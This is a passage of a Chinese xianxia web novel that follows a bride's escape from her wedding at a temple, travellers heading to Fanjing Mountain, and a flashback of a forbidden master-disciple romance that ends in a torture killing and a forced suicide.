他说着一掀衣摆就要下跪,凛妙慈连忙上前扶住他的胳膊肘往上一托,顾宸玉面绯红,垂着眸干咳两声疾步后退撞到了椅子,连多看凛妙慈一眼都不敢:“顾生……失态了……”
倒是凛妙慈依旧面不改色道:“好吧,既然如此,那就把嫁衣留下,其他的请带回去吧,只得如此我才能答应,另外,出嫁时我不会带任何嫁妆,你可愿意?”
顾宸眸光发亮,斩钉截铁地一口应下,生怕凛妙慈会反悔一般:“愿意!”
苏潋影在旁边看得咂舌,总觉得凛妙慈要搞事情啊。
而且她一进门就说聘礼最终要抬回去,还真就抬回去了?
觥筹交错一番终于送走了顾家人,婚期应凛妙慈要求定在了七日后,期间苏潋影、楚纤茉一直留在凛家,发觉凛妙慈此人的确有些不同寻常。
她没事就喜欢自言自语,一问才知道人家是在跟地上的蚂蚁说话……
就很行为艺术一女的。
屋子里养的鱼被她放进了池塘里,她站在岸边挥挥手:“去吧,说不定以后你们能在别的地方又见到我。”
门口的丁香花忽然蔫了,她抚摸着花叶笑道:“明年今日红颜如是在,应结愁千绪。”
到处打听一下,几乎左邻右舍都知道凛家四娘子从小到大都是这样,不爱跟人聊天喜欢招惹飞禽走兽,更绝的是她芳龄五岁的时候独自溜出去玩,眼看太阳落山了都不见回来,急坏了凛老爷,打发大儿子出去找,凛公子让家丁分散城中到处呼唤,自个儿到小妹常去的几个地方查看,最后到了西郊一个小山坡,到处都是坟包子,就见自家小妹坐在坟头,一会儿看看左边的墓碑,一会儿看看右边的墓碑,喜笑颜开、谈笑风生,仿佛在跟人聊天,可是方圆十里就她一个人啊!
凛公子走上前弯下腰去拉凛妙慈起来,板起脸来佯装生气:“饭点了都不知道回来,知道爹娘多担心你吗?快跟为兄回家。”
凛妙慈“哦”了一声,起来跟两个墓碑挥手:“我该回家了,明天见。”
凛公子摸摸自家妹子的额头莞尔一笑:“你发烧了?说什么胡话呢?”
凛妙慈眨巴着大眼睛,仰起脸认真道:“没有啊兄长,我在跟张大娘家的毛蛋和囡囡说话,兄长你看不见他们吗?他们就坐在那里啊。”
如果我没记错的话,这俩孩子前几个月刚夭折了吧?
凛公子感觉背后一股凉意直窜到脊梁骨,僵硬着弯下腰,一把抄起凛妙慈撒腿就跑,回去之后凛公子茶不思饭懒咽,躺在床上有进气没出气,眼见魂都要丢了,急得一家人又是团团转,请了大夫过来怎么诊治都不管用,后来商量着要请和尚道士驱驱邪,然后那凛妙慈又背着小手溜溜达达过来了,从人群里挤进去趴到自家兄长旁边,伸手在他肩头重重拍了一巴掌,床上神志不清的凛公子“哎呀”一声,翻身坐起朝着地上吐了一口酸水,喃喃念道:“魇住我了……”
凛公子接过仆人手里的水漱了口,又喝了两口参汤,脸色逐渐红润起来,看向地上的凛妙慈,伸手拧住她粉嘟嘟的腮帮子,咬牙切齿道:“你个小妮子,为什么吓唬我?可知道人吓人是要吓死人的!”
凛妙慈挣扎着逃出魔掌,揉着自己的脸蛋翻了个白眼:“哼,狗咬吕洞宾,知道我为捞你一把折了多少功德吗?本来明年就能跳出红尘的,现在生生推到了十一年后,不谢谢我吗?”
凛公子抬手就想给她一个暴栗,凛妙慈早就跑得没影了。
几天之后,凛公子收到一个噩耗,他的两名同窗在三日前外出游历时
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路遇山匪,连人带车马一起坠落山崖,无一生还,凛公子不禁倒吸一口冷气,如果那天他不是因为凛妙慈大病了一场,未能及时赴约,恐怕现在已经成了崖下亡魂了。
想起凛妙慈那句“我救了你一命,不谢谢我吗?”更是感到匪夷所思,莫非自家妹妹真的能掐会算,神仙转世不成?但后来又一想还是觉得只是瞎猫碰上死耗子了。
关于凛妙慈的奇闻轶事不止一件,反正周围人都不怎么待见这个奇葩,只有顾宸自打见了她之后就着了魔似的围着她转。
苏潋影看着在书房里闭目打坐的凛妙慈,她身后有一幅字画,画的是盛开的莲花,旁边提了字——出淤泥而不染,濯清涟而不妖。
明天就是出嫁的日子了,但这姑娘淡定的让周围的人都不淡定了。
眼看到了第二日卯时,凛妙慈还在看经书,气得凛夫人夺过她的书连同那张莲花图一起扔进了火盆里,指着凛妙慈的鼻子又哭又骂:“我是倒了几辈子霉摊上你这么个小孽障!你是想活活气死我吗?”
凛妙慈挽住了夫人的胳膊,笑嘻嘻道:“娘,这么急着催我出门啊,我还想多留一会儿呢,也罢也罢,我看时辰也差不多了,我这就收拾收拾准备动身了。”
她换好了嫁衣,丫鬟手脚麻利地替她盘头上妆,凛妙慈拿着遮面的团扇走到大堂跪在了地上,对着养育了自己十六年的父母郑重地叩头三拜,再抬眸还是那副含笑模样:“爹,娘,今日你们将我嫁出去,我可不再是凛家的人了,愿二老保重身体。”
转而又对兄长道:“兄长,小妹承蒙你照顾了,兄长走仕途恐怕行不通了,况且官场鱼龙混杂,不是久留之地,嫂嫂蕙质兰心、素喜侍弄花草,兄长多支撑她,或许又有一番光景。”
凛公子眸中含泪,上前去扶起小妹:“你啊,从小就不让人省心,如今出嫁了,可要守规矩,不可再任性妄为,想家了就常回来看看。”
凛妙慈点点头,转而看向姐姐们,朝她们挥挥手:“唉,真是世事无常,怎么就把我先嫁出去了,罢了罢了,姐姐们各自珍重,咱家福报深厚,以后你们各位也是各有美满姻缘,我可走了,珍重。”
“四娘!”
“四娘,常回来看我们啊!”
姐姐们各个红着眼眶,连凛公子都潸然泪下,凛母悄悄抹着眼泪,凛父背过了身,独凛妙慈依旧带着笑意上了花轿。
喜婆低声道:“四娘子,您倒是哭一鼻子也像个话啊。”
凛妙慈奇怪道:“我为何要哭?假装也装不出来,到时候你们还要装模作样地劝我,何苦来?这可真是假作真时真亦假。”
骑在马上的顾宸被逗笑了,向着喜婆一挥手:“不必再劝了,四娘子爱怎样便怎样,难道进了我家倒比自家还要拘束不成?”
花轿行至一处观音禅院,桥子里的凛妙慈出声了:“停一下。”
顾宸立刻压住仪仗队,圈马回去到了轿子边,低头温声询问道:“四娘子,可是累了?”
凛妙慈道:“还真有些累了,离顾家老宅尚远,人困马乏倒不相宜,不如先在此地歇息一下。”
“也好。”顾宸甩蹬离鞍下马,吩咐众人在观音禅院休息,在喜婆将凛妙慈扶出花轿时,连忙伸手挡住她头顶的轿沿,又提醒道,“抬脚,小心桥杆,慢点走。”
喜婆笑得合不拢嘴,低声在凛妙慈耳边赞叹道:“看看姑爷多会疼人啊,四娘子真是嫁了个好郎君!”
凛妙慈忽然转身,虽然盖着盖头,但也能看到身边的苏潋影和楚纤茉,依旧笑得爽朗:“两位,就送到这儿吧,我们有缘,往后若是再想找我,去那莲花盛开之地,紫竹茂盛之所。”
苏潋影、楚纤茉面面相觑,顾宸笑道:“四娘子,这二位既是你的朋友,理应请到家里坐坐,怎么不让客人观完礼就让人家走呢?”
凛妙慈连连摆手:“诶,不行不行,你家等会儿要有病人,她们去了不妥,还是早点走吧。”
说完她转身进了禅院,根本不用人扶。
顾宸转而对苏、楚两人拱手,唇边带着歉意的笑:“既然四娘子这么说了,两位——”
他欲言又止,苏潋影倒不介意,笑着拱手:“好吧好吧,妙慈既然说了我们有缘,想必以后还可以再见。”
说完这二人转身离去,顾宸也进了禅院,在小僧的带领下去了干净的禅房歇息,而凛妙慈由喜婆、丫鬟陪着在另外一间禅房里。
凛妙慈取下盖头,看了看日影,又闭上眼掐算了一下时辰,招手对喜婆道:“麻烦您老人家给我倒杯茶来。”
“哎!”
喜婆喜笑颜开地答应一声,摇着小手帕一扭一扭去跟小僧讨了杯香茶。
凛妙慈喝了一口忽然皱起了眉,一扭头含在嘴里的茶水全喷了出去,落地却不是水珠,而是四处迸溅的金豆子,晃花了人的眼睛。
“哎哟!金子!”
喜婆两眼发光,追着最大的一颗金豆子一头钻进了桌底,一群小丫鬟也是扑在地上一阵哄抢。
顾宸听着斜对面禅房里的吵闹声有些起疑,三步并作两步走到房间门口,看见了散乱一地的金豆子和闹做一团的丫鬟、喜婆,独独不见了凛妙慈,隐隐觉得有大事发生了,强作镇定扶起了满头大汗的喜婆,急切道:“老人家,我的妻四娘子呢?她哪里去了?”
喜婆这才发觉新娘丢了,急得脸色发白,面对开口跟她要人的新郎官却支支吾吾答不上来,还是顾宸眼尖,看到了桌上茶杯下压着一张字条,一把抓过来看,瞳孔骤缩,一仰头直直栽倒在地不省人事。
一群人惊作一团,又是掐人中又是灌温水的抢救……
没人再顾得上那张飘落在地上的纸条。
可笑公子不知趣,不顾红粉佳人芳心许,偏聘我这木雕泥塑草木人,苦心劝告君不听,巧借禅院脱红尘,才出凛家院,未入顾家门,非女非妻无牵念,正是世间自由人,吾去也!莫寻觅。
44. 仙门绯闻
天上白玉京,十二楼五重。仙人抚我顶,结发授长生。
沁莲地界。
河洛镇。
临江仙客栈当属镇上的一大巨头,开门迎客鸿运当头,坐落于梵净山下,似乎也沾上了几分仙气,一行奔波数日的少年少女皆在此间落脚。
“又到了求仙问道,千军万马过独木桥的时候了啊,不知这次哪派宗门又会被踏破铁门槛。”
“那还用说?定是梵净山呗!听说这次连宫中两位贵人都去了,皇家云舟浩浩荡荡,司天监少祭司亲自护送,那阵仗,半夜出门吓我一跳,还以为天要塌下来了。”
“皇室子弟?莫非是那玄都双姝,听闻这二位可是容貌无双啊,姐妹二人是陛下御笔亲封的皇姨,尊贵体面无双,可这二位不是向来由国师亲自教导吗?”
“嘿,那些大人物的事咱们如何知晓?许又是做什么交换弟子,兼修百家之长吧。当年流光宗的大小姐湛轻尘不是就跑去梵净山求学了吗?”
“诶,这湛轻尘可是个传奇人物呢,据说是天生的琉璃心,修炼无情道,惊才绝艳,当年深得缥缈峰主喜欢,据说收为关门弟子,亲传亲授,那叫一个师慈徒孝,只可惜天妒英才,槐荫镇一战师徒二人双双陨落,当真叫人唏嘘。”
“呵!师慈徒孝?那二人朝夕相处、形影不离,整个缥缈峰上就他二人,说是清清白白谁信?关门弟子?亲传亲授?我看是金屋藏娇吧!听说湛轻尘在青云大会上出了点小意外,沐灵就亲自抱她回去,”这人抿一口茶继续意犹未尽道,“这湛轻尘后来还收了个徒弟,她自己不管不顾,倒是沐灵,疼得跟眼珠子似的,八成就是这二人的孩子。”
对桌的明显对这个解读不满:“此言差矣啊!想那沐灵年少成名,贵为缥缈峰主,眼高于顶,再说了,梵净山上还有跟他师出同门的几位女峰主,怎么也轮不到一个乳臭未干的小丫头吧?若说这师徒二人真有说不清道不明的关系,也定是逆徒勾引的师尊!”
“湛轻尘可是天生琉璃心,早就断了七情六欲,怎么会去勾引沐灵?定是沐灵为师不尊对自己徒儿动了凡心!槐荫镇湛轻尘身亡,沐灵就跟疯了似的,杀敌一千自损八百,弄了个神魂消散,当真是可怜可叹,也是自作孽不可活。”
苏潋影缓缓放下茶杯与楚纤茉对视一眼,听完旁边两位茶客的高谈阔论,她觉得全是胡说八道,说不定就是其他仙门雇佣的水军,专给梵净山抹黑的。
楚纤茉单手托着腮淡笑道:“你就这么直接来河洛镇了?这么久了不回家一趟吗?”
苏潋影嘟着嘴,百无聊赖地转着勺子:“我阿姐说的呗,梵净山的雨露试炼就要开始了,我要是过不了关也就不必回家了。”
楚纤茉点点头:“苏苏你一定行的,不过,我们这么找了一圈,还是没见到你姐姐,怪遗憾的。”
苏潋影深以为然,越发不满:“她自从接管了碧梧山庄越发不拿我当回事了!现在更是一年半载都不一定见一次面,连飞叶传书都懒得回我,这个妹妹她到底还要不要了!”
她发着牢骚,不经意向楼下一瞥,眼睛瞬间亮了,挥舞着勺子招呼那人:“郁霄!”
正在拾级而上的郁霄一抬头,看见了眉眼弯弯的苏潋影,对方已经站起身朝自己小跑过来,依旧热情洋溢地让人有些手足无措。
郁霄哭笑不得地拱手:“苏姑娘,好久不见啊,你还是这么……活力四射,”转而又看向旁边的楚纤茉,微笑不减,“还有楚姑娘,你们这是打算——”
楚纤茉笑道:“郁世子所料不差,我们刚从羲和洲回来,打算去梵净山参加雨露试炼,莫非你也是为试炼而来?”
苏潋影拉着两人进了雅间,又叫了两盘菜:“来来来,边吃边聊。”
郁霄谢了座,展开那柄泼墨山水的纸扇摇得意气风发:“是啊,九洲第一仙门好不容易招收一次弟子,千载难逢的机会,郁某就算不能入选,来见见世面也是好的。”
说完又道:“对了,你们什么时候到河洛的?”
苏潋影一脸郁闷:“刚到啊,不过现在遇到了些困难。”
她侧目看向轩窗外,视线越过鳞次栉比的人家屋檐,一直飘向远方连绵起伏的山脉,近处的山较为矮小,绿树苍茫,山花如翡,这倒也罢了,走上几个时辰也便攀爬上去了,可远处的山峦,虚无缥缈,似在眼前又似在千里之外,更恐怖的是能看见缕缕白云围绕在山腰,可想而知那山有多高了。
郁霄看出了她的顾忌,笑道:“不必担心,修仙讲究仙缘,梵净山虽然在千里之外,但若与我们有缘,仙途想必也会浮现于脚下,今天好好休息,明日一早我们出发。”
一夜无话,第二日三人便踏上了西行的道路,与此同时,身前身后几乎都是人,大家心照不宣地朝着远处第一道山脉走去,那并不是梵净山,而是梵净山外围的一道护山大阵演化而成的山脉,据说邪魔歪道都会被阻挡在外,或者是根本踏入不了河洛镇。
翻山越岭,临到傍晚终于下了山,苏潋影看着眼前黑压压、高耸入云的山峦简直倒吸一口冷气。
楚纤茉看得头晕目眩,不由自主地惊叹:“好,好高啊,比刚才那座高了三倍不止。”
苏潋影苦笑:“那是,爬到半山腰都能看见祥云了。”
郁霄找了个地儿坐了下来,拿出了一张地图在如水的月色下看了起来,招呼两人道:“夜里爬山不安全,我们原地整顿以逸待劳。”
他们在这儿坐着,但有不少人依旧是咬牙坚持,拾级而上。
苏潋影凑到郁霄身边,看着那张地图,图上画了密密麻麻的山川河流,标了方位,还拿朱笔写了各种注释。
苏潋影指着图上的一处山峰:“好嘛,我们对梵净山一无所知,你连地图都画好了?你在里面有人啊?”
郁霄将地图往苏潋影那边移了大半截,笑道:“凤城的藏书楼对梵净山也有所记载,你看,”
他指着一处道:“梵净山虽然对外称有十二峰,其实不然,周围这些山峰各有特色,也都有命名,比如这座——”
他的指尖移到了一座山峰上:
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“这座清芜峰曾经也有一位年轻弟子坐镇,你们想必也有耳闻,她就是梵净第五峰缥缈峰主的徒弟湛轻尘,当初在门派大比青云试炼中连胜三场,夺得门派首席,独立出缥缈峰自立门户,可惜天妒英才,十九年前于槐荫镇视察时忽遇冥君慕容烈偷袭人界,湛轻尘同其师沐灵拼死一战,慕容烈狼子野心谋划已久,他们在槐荫镇一带根本放不出去任何求救信号,沐灵拖住慕容烈给湛轻尘争取回山搬救兵的时间,最后不惜燃尽神魂重新修补结界。”
“湛轻尘呢?”苏潋影听得入神,连忙追问道。
郁霄的眸光似乎看穿了眼前的图纸,凝视着别的什么东西,他轻叹道:“或许是槐荫镇一战拼尽了全力,被慕容烈手下鬼将围攻致死,或许是放心不下沐灵,折返回来看见恩师身陨于是丧失了活下去的信念,关于这位湛仙子的陨落众说纷纭,却没人知道真相,倒是有许多她的传奇故事流传至今,虽修无情道却是多情人,曾经为救一个被剖心而死的凡人女子,亲手剜出自己半颗琉璃仙心,折损了大半的功力,从此与那凡人女子共感,修行一途更是雪上加霜,虽然如此,湛轻尘却二次证道,迅速赶上了同期弟子的修行进度,甚至夺了青云大会榜首。”
苏潋影听得差点惊掉下巴:“不是吧?凡人女子,那万一这姑娘嫁人生子了怎么办?湛仙子她,她与别人共用一心,修行起来岂不是处处受限?走火入魔都是轻的……这都能道心不乱,究竟是什么神人啊?”
郁霄静默许久,淡声道:“你怎知她没有动情?或许动情了连自己也不知道。”
楚纤茉心下一动,想起了临江仙客栈的闲言碎语:“这么说来,湛仙子其实是动情了,只是为了掩人耳目拼命修炼?”
郁霄笑着摇摇头:“我也只是猜测,毕竟与别人共感还是太过冒险,修无情道的,一旦有了感情也就有了弱点,哪怕只有一丝犹豫都会被敌人抓住破绽,从而跌落深渊。”
苏潋影拿着地图,指着最中心的一圈山峰,看着上面的标注问道:“这就是梵净十二峰吧,纤茉你坐那么远干什么?过来了解一下啊!”
她伸手将不远处的楚纤茉拉了过来,郁霄笑着坐在了两人对面,一一解释道:“不错,梵净十二峰以掌门人叶静秋前辈所在的青云峰为主,周围依次是潇湘峰、太曦峰、逍遥峰等,成众星拱月之势,十二峰主各有所长,如青云峰精通剑道、潇湘峰主攻文理、太曦峰专攻符阵,除此之外还有炼器、幻术、药学、乐理,几乎是兼顾百家之长。技多不压身,梵净山弟子往往都是杂学旁收,基本上每个人都会精通至少两种功法,是以第一仙门的名号也长盛不衰。”
楚纤茉已经听得入了迷,仰头看着远处巍峨耸立的高山,目光似乎穿透了那层云雾,看到了秀丽旖旎的仙界风光……不出槐荫镇,她还真的不知道原来世界上还有这样举世无双的门派,若不是苏潋影,她怎会有机会踏上求仙之旅,甚至可能拜入这样声名显赫的大宗派?
她的眸光看向了身旁还在发呆的苏潋影,被对方突如其来的一声惊呼吓了一跳。
45. 骄若清夏
“我的妈呀!那我岂不是一天要学十二种东西?要了命了……”
郁霄被对方奇怪的关注点弄得愣了一下,随后笑着安慰道:“怎么会呢,顶多一天学三种吧,贪多嚼不烂,况且你也可以选择自己喜欢的功法进行专修啊,再者说了,梵净山现在名副其实的小宗派只有九峰了。”
楚纤茉点点头,若有所思道:“对啊,缥缈峰主已经陨落,那为什么是只有九峰呢?还有两峰是怎么回事?”
郁霄点点头:“嗯,缥缈峰算一个,还有,九百年前,绣雪峰主韩露因爱徒惨死而疯癫自戕,过了没多久妖族围攻凤城,逍遥峰主须烟景与座下弟子前去支援,也不幸战陨,所以现在第四峰、第五峰、第十一峰都是闲置的,据说梵净山十二峰主是同一届的师兄妹,一荣俱荣、一损俱损,宁愿让三峰撂荒也不肯另立峰主,除非他们这一代人都陨落了,不过其他三峰暂时都有首座弟子管理,倒也不算彻底荒废了。”
苏潋影原本发着呆,听到某个词眼忽然抬起头来:“等等等等,那个韩露峰主自戕是怎么回事?她徒弟又是怎么死的?”
郁霄拿着一根树枝拨着眼前的篝火,半张脸被火光映得明明灭灭,另外半张脸则完全隐没在阴影里,温润的嗓音在山脚下过分寂静的夜里显得有些空灵。
“九百年前,正是无情道一脉初兴之时,许多修行功法还处于探索阶段,而梵净山绣雪峰的峰主有些激进,她的徒弟莘梓夏,当时也是梵净山的门派首席,跟她师父比有过之而无不及,对无情道的执着近乎癫狂……”
刚说到这里,一股阴风忽然袭来,吹得飞沙走石、火星子几乎溅到了几个人身上,等到篝火彻底熄灭,周围陷入黑暗中时,楚纤茉感觉自己的手被人握住了,她一开始以为是苏潋影,可是蓦然发觉那只手冰冷如雪,一股凉意顺着指尖遍及全身,她脖颈僵硬,不敢侧头去看身边的人,余光却能瞥见一片刺目的腥红色……红衣飘摇、喜字盖头遮着半张面容,血红的唇微微张开露出了白森森的细密的牙齿……
楚纤茉惊吓过度脑子反倒清醒了,她认出了身边这东西,那是她们曾经在雁回城王家老宅遇到的鬼新娘,可是为什么她要跟着她们?而且这不是梵净山山脚下吗?这鬼怪怎么能追到这里来?
她还没来得及想太多,只觉得耳边一股阴风吹来,她打了个寒颤,脚下忽然一空如同跌入了万丈深渊。
这是一种很奇怪的感觉,她仿佛在高处注视着自己的一举一动,又仿佛是在自己的身体里经历正在发生的事情,两种视角在随意地切换着。
她看到了一望无际的云海,云海里是一座座巍峨壮观的琼楼玉宇,空中有鲜花片片飘落,云雾中有仙鹤翩翩起舞、凌空翱翔,她站在原地好奇地打量着这一切,垂眸一看自己的衣服变成了如烟似雾的雪白绸缎,她仿佛被一股力量牵引着,往前跑了两步身子轻飘飘地离了地面,可是飞起来好像有点累,但她还是努力地去飞行,原本晴朗的天空忽然之间阴云密布,身后的穹宇电闪雷鸣,她被一道电光击落在地,两个身着金甲的人一左一右拽着她的胳膊往前拖行,她仰面看着站在云端的一道玄衣背影,心脏仿佛被什么东西攫住了,那是她从未经历过的感觉,痛苦、绝望、憎恨、心如死灰……她被那两个金甲武士扔进了一方水池里,池子里的水漂浮着鲜红的花瓣,却倒映不出天空的颜色,她伸手向前,似乎想抓住什么,却只能无奈地下沉,嘴角溢出一串串晶莹的气泡,她真的快要坚持不住了,再这样下去,会被溺死吧……
就在她快要憋不住气窒息的时候,忽然感觉周围压抑的气息撤去,空气疯狂地灌入口鼻中,她大口大口地呼吸着,而眼前的景象再次变换。
她仿佛身临其境,看到了九百年前发生的一切……
一座终年寒雪覆盖的秀丽山峰上,有许多青袍白衫的弟子在修行,或于梅花树下抚琴、或于云台之上舞剑……其间有一人格外惹眼,她一身绿衣,乌发如檀,发髻上不见任何首饰,唯有一支半开半合的梨花斜入鬓边,臂弯处挽着一条如蝉翼般轻薄的霜绫,目不斜视款款经过云台时,众人的目光明显都落在了她身上,齐声道:“大师姐好!”
那位大师姐脚步不停,一双美目仿佛长在头顶上,直接当那群人是会喘气的尸体,走到一个在角落独自练剑的少年身旁,才淡淡道:“殷溯川,昨天教你的,可都熟悉了?”
那叫做殷溯川的受宠若惊般收起剑,抬头看了一眼冰清玉洁的大师姐,又连忙将自己冒昧的眼神收回去,低下头磕磕绊绊道:“回大师姐,都学会了……”
“嗯,那么练习下面的。”
这厢师姐弟二人练剑,一派和谐,角落却有双眼睛露出了怨毒的光芒,几乎恨得咬碎了牙齿,这弟子有些獐头鼠目,发狠起来面容更是阴险:“好你个莘梓夏,我百般殷勤、千般讨好你看都不看一眼,却把个随手捡回来的小杂种青睐有加,哼,等我抓住你们的把柄,定要你们这对狗男女死无葬身之地!”
殷溯川脸颊发热,尤其是在看到莘梓夏那双眼睛时。
师姐一双眼睛如同桃花瓣,柔和的线条勾勒成多情的轮廓,眼神流转间仿佛桃花瓣在风中轻盈颤动,她即使不经意地瞥向你,都会让你觉得她在全心全意地注视着你……
他闭了闭眼,强迫自己清醒过来,梓夏师姐修的可是无情道,又怎会轻易对他产生别的感情?不过是可怜他被同门排挤、无亲无故罢了。
殷溯川额头逐渐沁出汗水,莘梓夏从袖中摸出一方香巾抬手替他拭汗,虽然她面无表情,但这个举动已经足够殷溯川想入非非了,好不容易平静下来的呼吸开始急促,他嗓音干涩,差点咬到自己的舌头。
“梓夏……不不,师姐,我自己来就好!”
他伸手去接她的香巾,忙中出错却摸到了她细若凝脂的玉手,手帕落在了地上……
天有不测风云,没过几日殷溯川就让一群人推推搡搡带上了秀雪堂。
韩露手里攥着那条香巾面沉似水,眼神从莘梓夏和殷溯川身上扫过去,她早就怀疑二人有染,如今有人拿着证据揭发,韩露更是气撞顶梁,势要严惩殷溯川,这个惩罚无疑是让他终身抬不起头来。
跟绣雪峰主告密的人是殷溯川的死对头,因为殷溯川后来者居上,处处压他一筹,莘梓夏又的确偏袒殷溯川,这才酿成大祸。
韩露下令要搜殷溯川的身,一旦发现可疑之处必然按峰规处置。
莘梓夏知道,殷溯川是喜欢她的,不可能问心无愧,但是她自己修为高深,足可以抵挡师尊的问心剑。
于是施然跪地,请求师尊赐问心剑。
殷溯川眸光发颤,一声“师姐”还没叫出口被莘梓夏一个眼神制止。
眼见莘梓夏扛过问心剑,那小人又开始煽风点火,不肯罢休:“折梨仙子修为高深莫测,区区问心剑算得了什么?”
殷溯川大怒:“秦起!我究竟何处得罪过你?你诋毁我也就罢了,为何连带着攀污师姐?”
秦起道:“你别以为我不知道你们两人那些事儿,每天眉来眼去,说不定早就狗扯羊皮滚到一个被窝去了,真是不知廉耻!”
殷溯川大怒,脖颈上青筋暴起,拔剑上前一步:“你找死!”
秦起见势不妙连忙躲到韩露后面:“哎呦呦恼羞成怒了不是?”
韩露呵斥道:“放肆!”
莘梓夏连忙道:“殷溯川!秀雪堂上岂容你舞刀弄剑?还不退下!”
她回过头来跪在宗主面前:“师尊息怒,出了这等事情的确是折梨之责,折梨惜才爱能,以至于有失公允,手下人早有非议,只是折梨在秀雪宗已有二十载,熟读宫规,怎敢明知故犯,还望师尊明察秋毫。”
韩露凝视着这个光风霁月的大弟子,半蹲下捏着莘梓夏的脸仔细打量,莘梓夏不由得心虚,但还是睁大眼睛仰视着师尊。韩露又看看殷溯川,摇了摇头:“折梨,这种事我们绣雪峰不是没有先例,为师觉得,宁可杀错不能放过,不过,念在你曾为本峰立过汗马功劳,死罪可免,服下这忘情丹回去思过吧。”
莘梓夏跪得笔直面容沉静,淡淡道:“众口铄金,人言可畏……不过,折梨自然有办法自证清白。”
谁也没料到,她为了证明他二人的清白,不惜当众解衣露躯,如碧波春水般的绿色绸衫一件件褪去,如玉肌骨暴露在众人面前,美得惊心动魄,逼得许多人当场扭头不敢再看。
韩露面上有如火烧,急忙道:“都转过去!”
她连忙给莘梓夏披上衣服,心疼至极:“你这是何苦来呢!你是我的得意弟子,今日在这秀雪堂上,大庭广众之下解衣露躯,以后还怎么见人!”
莘梓夏抬头道:“折梨此生信奉一句,质本洁来还洁去,但若今天折梨无动于衷,看着无辜之人因我而死,我还有何脸面立足于世?再者,徒儿解衣,露得乃是父精母血,一片坦荡之心,有何愧焉?心有愧者才面如火烧如坐针毡,而弟子我,问心无愧。”
韩露面露赞许之色,连连点头:“真是青出于蓝胜于蓝,好一个折梨,好一个莘梓夏!绣雪峰有你何愁后继无人!”
殷溯川跪在原地神色麻木,双拳攥得死紧,血珠染透了半边衣袖。
为什么?为什么我这么没用……为什么要让师姐承担一切……我该怎样才能变强?该怎样才能护
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她无虞?
师姐,你放心,今日秀雪堂之辱,我会跟这帮人一一讨回来!
秦起回到自己屋子里,仰躺在床上双手垫在脑后,志得意满地哼着小曲,向着地上啐了一口:“莘梓夏,我看你日后还有何颜面再摆出那副高高在上的嘴脸,我呸!臭婊子,给脸不要……”
他翻身坐起,三两步来到书桌边,拿起毛笔开始作画,半炷香后,宣纸上出现了一个美人轮廓,赫然是衣衫半褪的莘梓夏,天黑后,他卷起这幅画鬼鬼祟祟地来到山门前,冷笑道:“这就叫好事不出门,坏事传千里!”
他拿出那幅画又欣赏了一会儿,刚想贴到山门上,忽然感觉脖颈一凉,手一抖那幅画已经被人抽走了,身后一个冰冷的声音传来:“用这般下三滥的手段毁坏别人清誉,想好怎么死了吗?”
秦起还没来得及叫出声,嘴里已经多了一团抹布,那人带着他来到了乱石堆叠、怪树横生的门派禁地附近,他刚看到那人的面容就被对方一剑划瞎了眼睛。
凄厉的呜咽如同狼嚎鬼哭,殷溯川笑容狠厉,脚踩着秦起的右手用力往土里碾,拿起剑毫不客气地剁去他的一根手指,他没有直接一剑毙命,而是慢慢地折磨着秦起,直到他忍受不了这般痛楚自爆金丹而亡。
殷溯川擦了一把脸上飞溅到的血点子,刚一转身脸上原本阴翳的表情霎时间一片空白,继而化作慌乱。
远处的夜色里俏生生站着莘梓夏,她大惊失色地看着地上血肉模糊的尸体,后退两步转身就要跑。
“师姐!”
殷溯川紧追两步拉住了她的衣袖,莘梓夏被迫停下脚步,转身就给了殷溯川清脆的一耳光。
殷溯川被这一巴掌打得偏过了头,愣了一会儿,这是莘梓夏第一次对他动手,他又气又恨,冲她吼道:“这种人难道不该杀吗!”
莘梓夏甩开了他的手,单薄的肩膀颤抖着:“你糊涂啊殷溯川!你杀了他师尊必然要彻查此事,届时你如何应对?”
殷溯川冷哼一声,扭过了头给莘梓夏一个冷漠的背影:“一人做事一人当,我不会连累你的。”
莘梓夏深呼吸几下,看似冷静了不少,指着山门前的阶梯:“走,你现在就走。”
殷溯川的背影一僵,迅速转身,不可置信地看向莘梓夏,眸中染上了几缕血丝:“你为了秦起这种人要赶我走?”
莘梓夏的语气又恢复了以往的温和,伸手拍拍他的肩膀:“痴儿,事到如今你还没醒悟过来吗?你若不走必定在劫难逃,走吧,出了事自然有师姐替你挡着,拿着这把剑,江湖路远,后会有期。”
殷溯川定定注视着她,眸中情绪翻转,紧紧将她抱在怀里:“我不走,要死一起死,离了你我活着还有什么意思?”
莘梓夏又急又气,伸手去推他:“糊涂!你怎么就不分轻重缓急呢?殷溯川,两情若是久长时,又岂在朝朝暮暮?我是峰主的亲生女儿、嫡传弟子,她不会真的杀了我的,可你不一样,如今你留在绣雪峰迟早难逃一死,阿川,听我一句话,走吧。”
殷溯川低头,无声地笑着,笑得泪花溢出眼角:“你终于承认了,你心里果然是有我的……”
殷溯川走后,莘梓夏刚打算回去,忽然一人厉声喝道:“大胆折梨!你果然跟殷溯川存有私情!”
居然是绣雪峰主。
看到韩露那张怒不可遏的脸,莘梓夏大惊失色,吓得抖若筛糠,扑通一下跪倒在师尊面前,膝行过去求饶,韩露雷霆之怒下一脚踹开了她,莘梓夏惨然倒地,摔得披头散发。
韩露抓着她的头发提起来,又将她一巴掌扇倒在地。
她暴跳如雷、指着莘梓夏破口大骂:“不知廉耻!□□!□□!我从小教你养你,你……你……你居然做出这种下三滥的事情!存心让我恶心!”
莘梓夏咬着唇,唇齿渗血,难堪地闭上眼睛。
韩露双目充血,看着莘梓夏的眼神仿佛在看一滩污泥,恨不得亲手掐死她:“我留你还有何用!”
她抽出腰间佩剑扔在莘梓夏面前,然后背过身去:“你若还有一分羞耻之心,就自行了断吧!”
莘梓夏看着那把剑,泪落如雨,忽然一闭眼抓起地上的长剑,横剑自刎,霎时间血流如雨,碧裳染赤血。
韩露听得长剑哐当落地急忙回头,后悔得肠子都青了,伏尸大哭:“啊!折梨啊!你你你……你这个傻孩子啊!”
“我错了……我真的错了……我只是想保护你们,我害怕啊……我被人骗过,骗得我苦啊,我不想你再步我的后尘,可是我……我居然逼死了我的女儿啊……梓夏!我的梓夏!苍天呐!我到底造得什么孽啊!”
46. 折梨于渊
殷溯川下山之后东躲西藏不敢轻易露面,绣雪峰的弟子在到处追杀他,他又累又饿,晕倒在了路边,恰好一个农夫路过将他带了回去。
他对这人感激涕零,毫无保留地信任,还把自己唯一的玉佩送给他,让这人等自己走后变卖。谁知这人看见外面的告示就把殷溯川出卖了,往饭菜里下迷药,殷溯川醒来就发现他被绣雪峰弟子抓住了。
